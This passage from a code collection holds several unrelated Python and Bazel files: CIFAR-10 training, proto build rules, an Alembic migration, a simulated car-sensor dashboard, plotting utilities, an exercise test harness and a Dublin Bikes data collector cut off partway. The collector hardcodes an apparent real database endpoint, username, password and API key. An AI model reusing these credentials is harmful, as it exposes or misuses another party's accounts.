self.ZCA_matrix.T)\n return x.reshape(shape)\n \nrandom_state = 42\nrng = np.random.RandomState(1234)\n\n#### data argumentaion #####\nx_train, x_test, t_train = load_cifar10()\n# horizontally flipping\nx_train_hflip = x_train[:, :, ::-1, :]\nx_train = np.append(x_train, x_train_hflip, axis=0)\nt_train = np.append(t_train, t_train, axis=0)\n# vertically flipping\nx_train_vflip = x_train[:, ::-1, :, :]\nx_train = np.append(x_train, x_train_vflip, axis=0)\nt_train = np.append(t_train, t_train, axis=0)\n# random cropping \n# 縦横にpaddingいれる\npadded = np.pad(x_train, ((0, 0), (4, 4), (4, 4), (0, 0)), mode='constant')\ncrops = rng.randint(8, size=(len(x_train), 2))\n# 0~8でランダムに平行移動...?\nx_train_cropped = [padded[i, c[0]:(c[0]+32), c[1]:(c[1]+32), :] for i, c in enumerate(crops)]\nx_train_cropped = np.array(x_train_cropped)\nx_train = np.append(x_train, x_train_cropped, axis=0)\nt_train = np.append(t_train, t_train, axis=0)\n\n# split\nx_train, x_valid, t_train, t_valid = train_test_split(x_train, t_train, test_size=10000, random_state=random_state)\n\n# zca whitening & global contrast normalization\nzca = ZCAWhitening()\nzca.fit(x_train)\nx_train_zca = zca.transform(gcn(x_train))\nt_train_zca = t_train[:]\nx_valid_zca = zca.transform(gcn(x_valid))\nt_valid_zca = t_valid[:]\nx_test_zca = zca.transform(gcn(x_test))\n\n# fitting\nloss_list_valid = []\nn_epochs = 60\nbatch_size = 100\nn_batches = x_train.shape[0] // batch_size\ntf.reset_default_graph()\nwith tf.Session() as sess:\n # write operation\n x = tf.placeholder(tf.float32, [None, 32, 32, 3])\n t = tf.placeholder(tf.float32, [None, 10])\n is_training = tf.placeholder(tf.bool)\n y = inference(x, is_training)\n loss = calc_loss(y, t)\n train = training(loss)\n\n init = tf.global_variables_initializer()\n sess.run(init)\n for epoch in range(n_epochs):\n x_train, t_train = shuffle(x_train_zca, t_train_zca, random_state=random_state)\n for batch in range(n_batches):\n start = batch * batch_size\n end = start + batch_size\n # train\n feed_dict={\n x: x_train[start:end],\n t: t_train[start:end],\n is_training: True\n }\n sess.run([train], feed_dict)\n\n # valid\n feed_dict={ x: x_valid_zca, t: t_valid_zca, is_training: False }\n y_pred, cost_valid = sess.run([y, loss], feed_dict)\n loss_list_valid.append(cost_valid)\n print('EPOCH: {}, Valid Cost: {:.3f}, Valid Accuracy: {:.3f}'.format(\n epoch,\n cost_valid,\n accuracy_score(t_valid.argmax(axis=1), y_pred.argmax(axis=1))\n ))\n \n # label保存\n feed_dict = { x: x_test_zca, is_training: False }\n y_test_pred = sess.run(y, feed_dict)\n y_pred = y_test_pred.argmax(axis=1)\n submission = pd.Series(y_pred, name='label')\n submission.to_csv('./submission_pred.csv', header=True, index_label='id')\n ","sub_path":"deep-learning-lecture/lec-7-task/local_code.py","file_name":"local_code.py","file_ext":"py","file_size_in_byte":6406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"503898080","text":"def pre(lang, ctx, gendir, args, srcs, requires, provides):\n\n if (lang.plugin_outdir_hook):\n outdir = lang.plugin_out_hook(lang, ctx, gendir)\n else:\n outdir = gendir\n\n # Default language options\n plugin_args = lang.plugin_args\n\n # Options specified in context\n plugin_args += getattr(ctx.attr, \"gen_\" + lang + \"_args\")\n\n # if opts:\n # plugin_args = \",\".join(opts) + \":\" + plugin_args\n\n # Configure plugin definition if defined\n if lang.plugin_binary:\n plugin_exe_name = \"gen_\" + lang.name + \"_plugin\"\n plugin_exe = getattr(ctx.attr, plugin_exe_name)\n if not plugin_exe:\n fail(\"Undefined plugin executable\", plugin_exe_name)\n args += [\"--plugin=%s=%s\" % (lang.plugin_name, lang.plugin_exe.path)]\n\n # Configure plugin for this language\n args += [\"--%s_out=%s:%s\" % (lang.name, lang.plugin_name, plugin_args, outdir.path)]\n\n for srcfile in ctx.files.srcs:\n basename = srcfile.basename\n filename = basename[:-len('.proto')] + lang.file_extension\n pbfile = ctx.new_file(filename)\n srcs += [srcfile.path]\n requires += [srcfile]\n provides += [pbfile]\n\n return (args, srcs, requires, provides)\n\n\ndef post(ctx, requires, provides):\n return (requires, provides)\n\npy_proto_compile = _compile([ LANGUAGE.get(\"python\") ])\n\n#def py_proto_compile(**kwargs):\n# pass\n #rule = _compile([ LANGUAGE.get(\"python\") ])\n #_rule(gen_py = True)\n","sub_path":"bzl/ruby/rules.bzl","file_name":"rules.bzl","file_ext":"bzl","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"601979163","text":"# coding: utf8\n\nimport sys\nsys.path.append('..')\n\nfrom db import checkAccountExist\nfrom config.dev import *\n\ndef checkRegister(name):\n result = False\n info = \"\"\n ret_data = {}\n mtype = SUCCESS\n\n if checkAccountExist(name) == True:\n result = False\n mtype = DB_ERR_DUP_ACOUT\n info = \"account hava registered\"\n else:\n result = True\n info = \"account not be use\"\n\n return result, mtype, info, ret_data\n","sub_path":"main/app/checkRegister.py","file_name":"checkRegister.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"75305954","text":"\"\"\"empty message\n\nRevision ID: 96936baa5bb3\nRevises: fe1532a7ae5d\nCreate Date: 2021-05-10 23:40:23.531455\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '96936baa5bb3'\ndown_revision = 'fe1532a7ae5d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('pyme', sa.Column('id_user', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'pyme', 'user', ['id_user'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'pyme', type_='foreignkey')\n op.drop_column('pyme', 'id_user')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/96936baa5bb3_.py","file_name":"96936baa5bb3_.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"596304870","text":"from multiprocessing import Process, Pipe\nfrom random import randint, uniform\nimport tkinter as tk\nimport tkinter.ttk as ttk\nfrom tkinter import *\nimport time\nfrom functools import partial as part\n#from PySide import QtGui, QtCore\n\nclass utsv2:\n\n kecepatan = 0\n root = ''\n jarakTempuh = 0\n labelJarakTempuh = ''\n labelKecepatan = ''\n labelJarakDepan = ''\n labelJarakBelakang = ''\n labelJarakKanan = ''\n labelJarakKiri = ''\n labelTraffic = ''\n labelDepanKanan = ''\n labelDepanKiri = ''\n labelTindakan = ''\n path = ['Terus', 'Terus', 'Belok Kiri', 'Terus', 'Belok Kanan', 'Terus', 'Belok Kanan']\n patIndex = 0\n\t\n\t\t\n def kirimDepan(self, depan):\n while True:\n jarakDepan = randint(300, 500)\n # print(\"Jarak depan: \", jarakDepan)\n depan.send({'jarak': jarakDepan, 'dari': 'depan'})\n depan.close\n\n def kirimDepanKiri(self, depanKiri):\n while True:\n jarakDepanKiri = randint(200, 400)\n # print(\"Jarak depan kiri: \", jarakDepanKiri)\n depanKiri.send({'jarak': jarakDepanKiri, 'dari': 'depan_kiri'})\n depanKiri.close\n\n def kirimDepanKanan(self, depanKanan):\n while True:\n jarakDepanKanan = randint(200, 400)\n # print(\"Jarak depan kanan: \", jarakDepanKanan)\n depanKanan.send({'jarak': jarakDepanKanan, 'dari': 'depan_kanan'})\n depanKanan.close\n\n def kirimBelakang(self, belakang):\n while True:\n jarakBelakang = randint(200, 400)\n # print(\"Jarak belakang: \", jarakBelakang)\n belakang.send({'jarak': jarakBelakang, 'dari': 'belakang'})\n belakang.close\n\n def kirimKanan(self, kanan):\n while True:\n jarakKanan = randint(0, 100)\n # print(\"Jarak samping kanan: \", jarakKanan)\n kanan.send({'jarak': jarakKanan, 'dari': 'kanan'})\n kanan.close\n\n def kirimKiri(self, kiri):\n while True:\n jarakKiri = randint(0, 100)\n # print(\"Jarak samping kiri: \", jarakKiri)\n kiri.send({'jarak': jarakKiri, 'dari': 'kiri'})\n kiri.close\n\n def kirimTraffic(self, traffic):\n while True:\n jarakTraffic = randint(0, 500)\n # print(\"Jarak traffic: \", jarakTraffic)\n warnaLampu = {1: 'Merah', 2: 'Kuning', 3: 'Hijau'}\n indexWarnaLampu = randint(1, 3)\n traffic.send({'jarak': jarakTraffic, 'dari': 'traffic', 'warnaLampu': warnaLampu[indexWarnaLampu]})\n traffic.close\n\n def berhenti(self):\n time.sleep(5)\n\n def masterControl(self, depan, belakang, depanKanan, depanKiri, kanan, kiri, traffic):\n if self.jarakTempuh <= 3000000:\n dataDepan = depan.recv()\n dataBelakang = belakang.recv()\n dataDepanKanan = depanKanan.recv()\n dataDepanKiri = depanKiri.recv()\n dataKanan = kanan.recv()\n dataKiri = kiri.recv()\n dataTraffic = traffic.recv()\n jarakDepan = dataDepan['jarak']\n jarakBelakang = dataBelakang['jarak']\n jarakDepanKanan = dataDepanKanan['jarak']\n jarakDepanKiri = dataDepanKiri['jarak']\n jarakKanan = dataKanan['jarak']\n jarakKiri = dataKiri['jarak']\n jarakTraffic = dataTraffic['jarak']\n warnaLampu = dataTraffic['warnaLampu']\n labelJarakDepan.config(text=\"Jarak depan: \"+str(jarakDepan)+\"Meter\")\n labelJarakBelakang.config(text=\"Jarak belakang: \"+str(jarakBelakang)+\"Meter\")\n labelDepanKanan.config(text=\"Jarak depan kanan: \"+str(jarakDepanKanan)+\"Meter\")\n labelDepanKiri.config(text=\"Jarak depan kiri: \"+str(jarakDepanKiri)+\"Meter\")\n labelJarakKanan.config(text=\"Jarak kanan: \"+str(jarakKanan)+\"Meter\")\n labelJarakKiri.config(text=\"Jarak kiri: \"+str(jarakKiri)+\"Meter\")\n labelTraffic.config(text=\"Jarak traffic: \"+str(jarakTraffic))\n\n if jarakDepan < 400: # jarak aman 4m / 400cm\n labelTindakan.config(text=\"Rem depan\")\n elif jarakKanan < 30: # jarak aman 30cm\n labelTindakan.config(text=\"Geser kiri\")\n elif jarakKiri < 20: # jarak aman 20cm\n labelTindakan.config(text=\"Geser kanan\")\n elif jarakBelakang < 300: # jarak aman 3m / 300cm\n labelTindakan.config(text=\"Jalan\")\n elif warnaLampu == 'Merah':\n labelTindakan.config(text=\"Lampu merah Berhenti\")\n self.berhenti()\n labelTindakan.config(text=self.path[self.patIndex])\n self.patIndex += 1\n elif warnaLampu == 'Kuning':\n labelTindakan.config(text=\"Lampu kuning\")\n else:\n labelTindakan.config(text=\"Jalan\")\n\n # percepatan\n self.kecepatan += 50\n #jarakTempuh -= kecepatan\n self.jarakTempuh += self.kecepatan\n\n labelJarakTempuh.config(text=\"jarak tempuh: \"+str(self.jarakTempuh))\n labelKecepatan.config(text=\"kecepatan: \"+str(self.kecepatan)+\"Km/jam\")\n\n root.after(500, lambda: self.masterControl(depan, belakang, depanKanan, depanKiri, kanan, kiri, traffic))\n\n def buildGui(self, depan, belakang, depanKanan, depanKiri, kanan, kiri, traffic):\n global root, labelJarakTempuh, labelKecepatan, labelJarakDepan, labelJarakBelakang, labelJarakKanan, labelJarakKiri, labelTraffic, labelDepanKanan, labelDepanKiri, labelTindakan\n root = Tk()\n gambar = PhotoImage(\"tes.jpg\")\n labelJarakTempuh = Label(root)\n labelKecepatan = Label(root, image=gambar, fg=\"black\", compound=CENTER)\n labelJarakDepan = Label(root)\n labelJarakBelakang = Label(root)\n labelJarakKanan = Label(root)\n labelJarakKiri = Label(root)\n labelTraffic = Label(root)\n labelDepanKanan = Label(root)\n labelDepanKiri = Label(root)\n labelTindakan = Label(root)\n #labelJarakTempuh.pack()\n labelKecepatan.pack()\n labelJarakDepan.pack()\n labelJarakBelakang.pack()\n labelJarakKanan.pack()\n labelJarakKiri.pack()\n labelTraffic.pack()\n labelDepanKanan.pack()\n labelDepanKiri.pack()\n labelTindakan.pack()\n self.masterControl(depan, belakang, depanKanan, depanKiri, kanan, kiri, traffic)\n\t\t\n root.mainloop()\n\n def main(self):\n\n DepanIN, DepanOUT = Pipe()\n BelakangIN, BelakangOUT = Pipe()\n KananIN, KananOUT = Pipe()\n KiriIN, KiriOUT = Pipe()\n DepanKananIN, DepanKananOUT = Pipe()\n DepanKiriIN, DepanKiriOUT = Pipe()\n TrafficIN, TrafficOUT = Pipe()\n ProsesKirimDepan = Process(target=self.kirimDepan, args=(DepanIN,))\n ProsesKirimDepanKiri = Process(target=self.kirimDepanKiri, args=(DepanKiriIN,))\n ProsesKirimDepanKanan = Process(target=self.kirimDepanKanan, args=(DepanKananIN,))\n ProsesKirimBelakang = Process(target=self.kirimBelakang, args=(BelakangIN,))\n ProsesKirimKanan = Process(target=self.kirimKanan, args=(KananIN,))\n ProsesKirimKiri = Process(target=self.kirimKiri, args=(KiriIN,))\n ProsesTraffic = Process(target=self.kirimTraffic, args=(TrafficIN,))\n BuildGui = Process(target=self.buildGui, args=(DepanOUT,BelakangOUT,DepanKananOUT,DepanKiriOUT,KananOUT,KiriOUT,TrafficOUT))\n\n ProsesKirimDepan.start()\n ProsesKirimDepanKiri.start()\n ProsesKirimDepanKanan.start()\n ProsesKirimBelakang.start()\n ProsesKirimKanan.start()\n ProsesKirimKiri.start()\n ProsesTraffic.start()\n BuildGui.start()\n\n ProsesKirimDepan.join()\n ProsesKirimDepanKiri.join()\n ProsesKirimDepanKanan.join()\n ProsesKirimBelakang.join()\n ProsesKirimKanan.join()\n ProsesKirimKiri.join()\n ProsesTraffic.join()\n BuildGui.join()\n\nif __name__ == '__main__':\n utsv2().main()","sub_path":"dashboardfix.py","file_name":"dashboardfix.py","file_ext":"py","file_size_in_byte":8017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"381674280","text":"'''TO create the json file'''\nimport json\nfrom PIL import Image\n\nwith open(\"result.json\",\"r\",encoding=\"utf-8\") as f:\n data = json.load(f)\nfinal = []\nfor i in range(0,13068):\n FILE_PATH = 'C:/Users/naip/Desktop/IOC_HW2/dataset/test/{}.png'.format(i+1)\n img = Image.open(FILE_PATH)\n imgSize = img.size\n w = img.width\n h = img.height\n\n value = {}\n score = []\n label = []\n pos_first = []\n for pred in data[i]['objects']:\n pos = []\n x_center = pred['relative_coordinates']['center_x']\n y_center = pred['relative_coordinates']['center_y']\n pr_w = pred['relative_coordinates']['width']\n pr_h = pred['relative_coordinates']['height']\n x1 = w * x_center - (w * pr_w) / 2\n x2 = w * x_center + (w * pr_w) / 2\n y1 = h * y_center - (h * pr_h) / 2\n y2 = h * y_center + (h * pr_h) / 2\n pos.append((y1))\n pos.append((x1))\n pos.append((y2))\n pos.append((x2))\n pos_first.append(pos)\n score.append((pred['confidence']))\n\n if pred['name'] == 0:\n pred['name'] = 10\n label.append(int(pred['name']))\n else:\n label.append(int(pred['name']))\n value = {\"bbox\":pos_first,\"score\":score,\"label\":label}\n final.append(value)\nwith open('0851912_6.json', 'w', encoding='utf-8') as f:\n json.dump(final, f)\n ","sub_path":"HW2_Digits detection/create_json.py","file_name":"create_json.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"250026441","text":"import os\nimport _pickle\nimport itertools\nimport numpy as np\n\nfrom scipy import interp\n\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\nfrom sklearn.manifold import LocallyLinearEmbedding\nfrom sklearn.decomposition import TruncatedSVD, PCA\n\nfrom tensorflow.keras import losses\nfrom tensorflow.keras.utils import to_categorical\n\nfigsize = (19.20, 10.80)\n\n\n# %% Utils function\n\ndef plot_pca_reduction(embeddings, targets, title, save=True,\n base_path='./logs/vizplots') -> plt.Figure:\n X = PCA(n_components=3).fit_transform(embeddings)\n plt.clf()\n plt.gcf().set_size_inches(*figsize)\n fig = plt.gcf()\n ax = Axes3D(fig)\n for i in range(len(np.unique(targets))):\n ind = np.where(targets == i)[0]\n ax.scatter(X[ind, 0], X[ind, 1], X[ind, 2])\n plt.title(title)\n if save:\n if not os.path.exists(base_path):\n os.makedirs(base_path)\n path = base_path+'/'+title+'_pca.png'\n plt.savefig(path)\n return plt.gcf()\n\n\ndef plot_lsa_reduction(embeddings, targets, title, save=True,\n base_path='./logs/vizplots') -> plt.Figure:\n X = TruncatedSVD(n_components=3).fit_transform(embeddings)\n plt.clf()\n plt.gcf().set_size_inches(*figsize)\n fig = plt.gcf()\n ax = Axes3D(fig)\n for i in range(len(np.unique(targets))):\n ind = np.where(targets == i)[0]\n ax.scatter(X[ind, 0], X[ind, 1], X[ind, 2])\n plt.title(title)\n if save:\n if not os.path.exists(base_path):\n os.makedirs(base_path)\n path = base_path+'/'+title+'_lsa.png'\n plt.savefig(path)\n return plt.gcf()\n\n\ndef plot_reduction(**kwargs):\n plot_lsa_reduction(**kwargs)\n plot_pca_reduction(**kwargs)\n\n\ndef plot_lr_curve(history, title, save=True,\n base_path='./logs/lrcurves') -> plt.Figure:\n plt.clf()\n plt.gcf().set_size_inches(*figsize)\n plt.title(title)\n plt.xlabel('Epoch')\n plt.ylabel('Loss Value')\n plt.plot(history.epoch,\n history.history['loss'],\n label='Train Loss')\n plt.plot(history.epoch,\n history.history['val_loss'],\n label='Valid loss')\n plt.legend()\n if save:\n if not os.path.exists(base_path):\n os.makedirs(base_path)\n path = base_path+'/'+title+'.png'\n plt.gcf().savefig(path)\n path = base_path+'/'+title+'.cp'\n _pickle.dump(history.history, open(path, 'wb'))\n return plt.gcf()\n\n\ndef plot_roc_curve(title, y_test, y_score, n_cls, save=True,\n base_path='./logs/roccurves') -> plt.Figure:\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n for i in range(n_cls):\n fpr[i], tpr[i], _ = roc_curve(y_test[i], y_score[i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n\n # Compute micro-average ROC curve and ROC area\n fpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(y_test.ravel(), y_score .ravel())\n roc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\n # First aggregate all false positive rates\n all_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_cls)]))\n\n # Then interpolate all ROC curves at this points\n mean_tpr = np.zeros_like(all_fpr)\n for i in range(n_cls):\n mean_tpr += interp(all_fpr, fpr[i], tpr[i])\n\n # Finally average it and compute AUC\n mean_tpr /= n_cls\n\n fpr[\"macro\"] = all_fpr\n tpr[\"macro\"] = mean_tpr\n roc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n # Plot all ROC curves\n plt.clf()\n plt.gcf().set_size_inches(*figsize)\n plt.title(title)\n plt.plot(fpr[\"micro\"], tpr[\"micro\"],\n label='micro-average ROC curve (area = {0:0.2f})'\n ''.format(roc_auc[\"micro\"]),\n color='deeppink', linestyle=':', linewidth=4)\n\n plt.plot(fpr[\"macro\"], tpr[\"macro\"],\n label='macro-average ROC curve (area = {0:0.2f})'\n ''.format(roc_auc[\"macro\"]),\n color='navy', linestyle=':', linewidth=4)\n\n plt.plot([0, 1], [0, 1], 'k--')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.legend(loc=\"lower right\")\n if save:\n if not os.path.exists(base_path):\n os.makedirs(base_path)\n path = base_path+'/'+title+'.png'\n plt.savefig(path)\n return plt.gcf()\n\n\ndef plot_confusion_matrix(cm, title, classes, save=True, normalize=True,\n base_path='./logs/cmcurves') -> plt.Figure:\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n plt.clf()\n plt.gcf().set_size_inches(*figsize)\n plt.imshow(cm, interpolation='nearest')\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.tight_layout()\n if save:\n if not os.path.exists(base_path):\n os.makedirs(base_path)\n path = base_path+'/'+title+'.png'\n plt.savefig(path)\n return plt.gcf()\n\n\ndef load_loss(loss: str, n_cls):\n if loss.startswith('K-'):\n loss = getattr(losses, loss[2:])\n elif loss.startswith('L-'):\n module = __import__('Losses')\n loss = getattr(module, loss[2:])()\n elif loss.startswith('LN-'):\n module = __import__('Losses')\n loss = getattr(module, loss[3:])(n_cls)\n return loss\n\n\ndef load_datagen(datagen):\n module = __import__('Generator')\n datagen = getattr(module, datagen)\n return datagen\n\n\ndef report_classification(y_true, y_score, n_cls, title):\n print(title)\n y_pred = np.argmax(y_score, axis=-1)\n print(classification_report(y_true, y_pred, digits=5))\n # plot_roc_curve(title, to_categorical(y_true, n_cls), y_score, n_cls)\n # cm = confusion_matrix(y_true, y_pred)\n # plot_confusion_matrix(cm, title, np.unique(y_true))\n","sub_path":"MyCode-03/Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":6480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"582176498","text":"#!/usr/bin/env python\n\nfrom os.path import isfile, join, getsize\nfrom os import listdir\nimport re\nimport codecs\nfrom subprocess import DEVNULL, PIPE, run, TimeoutExpired\n\n\nclass BaseTask:\n SPACES_RE = re.compile(r'\\s+', re.M)\n TIME_LIMIT_SECONDS = 5\n\n def strip_spaces(self, text):\n return self.SPACES_RE.sub(' ', text.strip())\n\n def read_file(self, file_name):\n try:\n with codecs.open(file_name, encoding='utf-8', errors='strict') as f:\n return f.read()\n except ValueError:\n raise ValueError(f\"Enconding inválido em {file_name}. Por favor, use UTF-8.\")\n except:\n return ''\n\n def has_size(self, file_name, size):\n file_size = getsize(file_name)\n assert file_size >= size, f\"{file_name} deve ter pelo menos {size} bytes\"\n\n def count_words(self, text):\n words = text.split()\n number_of_words = len(words)\n return number_of_words\n\n def has_n_words(self, file_name, n_words):\n try:\n text = self.read_file(file_name)\n assert self.count_words(text) >= n_words, f\"{file_name} deve ter pelos menos {n_words} palavras\"\n except ValueError:\n raise AssertionError(f\"Encoding inválido em {file_name}. Use UTF-8.\")\n\n def compare_stripped(self, left, right):\n return self.strip_spaces(left) == self.strip_spaces(right)\n\n def compare_files(self, out, res):\n left = self.read_file(out)\n right = self.read_file(res)\n return self.compare_stripped(left, right)\n\n def test_case(self, script, in_file_name):\n out_file_name = in_file_name.replace('.in', '.out')\n res_file_name = in_file_name.replace('.in', '.res')\n cmd = f'python3 {script} < {in_file_name} > {out_file_name}'\n with open(in_file_name) as i, open(out_file_name, 'w') as o:\n try:\n p = run(['python3', script],\n stdin=i,\n stdout=o,\n stderr=DEVNULL,\n encoding='utf8',\n errors='ignore',\n timeout=self.TIME_LIMIT_SECONDS)\n except TimeoutExpired:\n assert False, f'comando {cmd} excedeu o tempo limite de {self.TIME_LIMIT_SECONDS}s'\n assert p.returncode == 0, f'falha ao executar \"{cmd}\"'\n assert self.compare_files(out_file_name, res_file_name), \\\n f'{in_file_name}: arquivos \"{out_file_name}\" \"{res_file_name}\" diferem'\n\n def exists(self, file_name):\n assert isfile(file_name), f'você deve criar um arquivo {file_name}'\n\n def input_output(self, script, input_content, expected_output):\n cmd = f'python3 {script}'\n try:\n p = run(['python3', script],\n input=input_content,\n stdout=PIPE,\n stderr=DEVNULL,\n encoding='utf8',\n errors='ignore',\n timeout=5)\n except TimeoutExpired:\n assert False, f'comando {cmd} excedeu o tempo limite de {self.TIME_LIMIT_SECONDS}s'\n assert p.returncode == 0, f'falha ao executar \"{cmd}\" com entrada \"{input_content}\"'\n assert self.compare_stripped(\n p.stdout, expected_output\n ), f'para entrada \"{input_content}\", a saída é \"{p.stdout.strip()}\", mas era esperado \"{expected_output}\"'\n\n def run(self, all=False):\n for name in sorted(dir(self)):\n if not name.startswith('teste_'):\n continue\n try:\n test = getattr(self, name)\n test()\n print(f'{name}: OK')\n except AssertionError as e:\n print(f'{name}: FALHOU\\n -> {e}')\n if not all:\n return\n\n\nclass Task(BaseTask):\n\n def teste_00_fatorial(self):\n tests = [(\"0\", \"1\"), (\"1\", \"1\"), (\"5\", \"120\"), (\"11\", \"39916800\"), (\"31\", \"8222838654177922817725562880000000\")]\n script = 'fatorial.py'\n self.exists(script)\n for (inputvalue, outputvalue) in tests:\n self.input_output(script, inputvalue, outputvalue)\n\n def teste_01_maximo(self):\n script = 'maximo.py'\n self.exists(script)\n for i in range(5):\n self.test_case(script, join('testes', f\"maximo{i}.in\"))\n\n def teste_02_fibonacci3(self):\n tests = [(\"0\", \"0\"), (\"1\", \"1\"), (\"11\", \"423\"), (\"31\", \"83047505\"), (\"120\", \"29725355656849404391892131886652\")]\n script = 'fibonacci3.py'\n self.exists(script)\n for (inputvalue, outputvalue) in tests:\n self.input_output(script, inputvalue, outputvalue)\n\n def teste_03_collatz(self):\n tests = [(\"1\", \"0\"), (\"10\", \"5\"), (\"15\", \"12\"), (\"1246538\", \"95\"), (\"372036854775807\", \"234\")]\n script = 'collatz.py'\n self.exists(script)\n for (inputvalue, outputvalue) in tests:\n self.input_output(script, inputvalue, outputvalue)\n\n def teste_04_mmc(self):\n tests = [(\"12 9\", \"36\"), (\"458 745\", \"341210\"), (\"278943861 849435618\", \"78981616985280366\")]\n script = 'mmc.py'\n self.exists(script)\n for (inputvalues, outputvalue) in tests:\n self.input_output(script, inputvalues, outputvalue)\n\n def teste_05_hanoi(self):\n tests = [(\"1\", \"1\"), (\"2\", \"3\"), (\"15\", \"32767\"), (\"22\", \"4194303\")]\n script = 'hanoi.py'\n self.exists(script)\n for (inputvalue, outputvalue) in tests:\n self.input_output(script, inputvalue, outputvalue)\n\n def teste_06_busca_binaria(self):\n script = 'busca_binaria.py'\n self.exists(script)\n for i in range(5):\n self.test_case(script, join('testes', f\"busca_binaria{i}.in\"))\n\n def teste_07_potencia(self):\n tests = [(\"2 3\", \"8\"), (\"3 5\", \"243\"), (\"25 48\", \"12621774483536188886587657044524579674771302961744368076324462890625\")]\n script = 'potencia.py'\n self.exists(script)\n for (inputvalues, outputvalue) in tests:\n self.input_output(script, inputvalues, outputvalue)\n\n def teste_08_kesimo(self):\n script = 'k-esimo.py'\n self.exists(script)\n for i in range(5):\n self.test_case(script, join('testes', f\"k-esimo{i}.in\"))\n\n def teste_09_menor_ausente(self):\n script = 'menor_ausente.py'\n self.exists(script)\n for i in range(5):\n self.test_case(script, join('testes', f\"menor_ausente{i}.in\"))\n\n def teste_10_merge_sort(self):\n script = 'merge_sort.py'\n self.exists(script)\n for i in range(5):\n self.test_case(script, join('testes', f\"merge_sort{i}.in\"))\n\n def teste_11_ndigitos(self):\n script = 'n-digitos.py'\n self.exists(script)\n for i in range(5):\n self.test_case(script, join('testes', f\"n-digitos{i}.in\"))\n\n def teste_12_menor_caminho(self):\n script = 'menor_caminho.py'\n self.exists(script)\n for i in range(5):\n self.test_case(script, join('testes', f\"menor_caminho{i}.in\"))\n\nif __name__ == '__main__':\n Task().run(True)","sub_path":"tarefa14/testar.py","file_name":"testar.py","file_ext":"py","file_size_in_byte":7135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"633442845","text":"from sqlalchemy import Table, Column, Integer, Float, String, MetaData, DateTime, create_engine, types\r\nfrom sqlalchemy.orm import sessionmaker\r\nimport requests\r\nimport json\r\nimport datetime\r\nfrom IPython.display import JSON\r\nimport time\r\n\r\n# Database info - Not separated since they are deployed directly to EC2\r\nusername = \"DublinBikesApp\"\r\npassword = \"dublinbikesapp\"\r\nendpoint = \"dublinbikesapp.cynvsd3ef0ri.us-east-1.rds.amazonaws.com\"\r\nport = \"3306\"\r\ndb = \"DublinBikesApp\"\r\n\r\n# Get database connection\r\nengine = create_engine(\"mysql+mysqlconnector://{}:{}@{}:{}/{}\".format(\r\n username, password, endpoint, port, db), echo=True)\r\n\r\nmeta = MetaData(engine)\r\nconn = engine.connect()\r\n\r\n# Create table\r\ndynamicData = Table(\r\n 'dynamicData', meta,\r\n Column('Insert_ID', Integer, primary_key=True),\r\n Column('number', Integer, primary_key=True),\r\n Column('bike_stands', Integer),\r\n Column('available_bike_stands', Integer),\r\n Column('available_bikes', Integer),\r\n Column('last_update', DateTime),\r\n Column('weather', String(30)),\r\n Column('temp', Float)\r\n)\r\n\r\nmeta.create_all(conn)\r\n\r\nNoneType = type(None)\r\n\r\n# Catches null values and replaces these values with the current datetime\r\n\r\n\r\ndef get_station(obj):\r\n try:\r\n x = datetime.datetime.fromtimestamp(int(obj['last_update'] / 1e3))\r\n except:\r\n x = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S\")\r\n return {'number': obj['number'], 'bike_stands': obj['bike_stands'], 'available_bike_stands': obj['available_bike_stands'], 'available_bikes': obj['available_bikes'], 'last_update': x}\r\n\r\n\r\nNAME = \"Dublin\"\r\nSTATIONS_URI = \"https://api.jcdecaux.com/vls/v1/stations\"\r\nKEY = \"53fa78aead76e2416050fc002610856adf0b2cee\"\r\n\r\n# Iterator used as index - can differentiate between insert 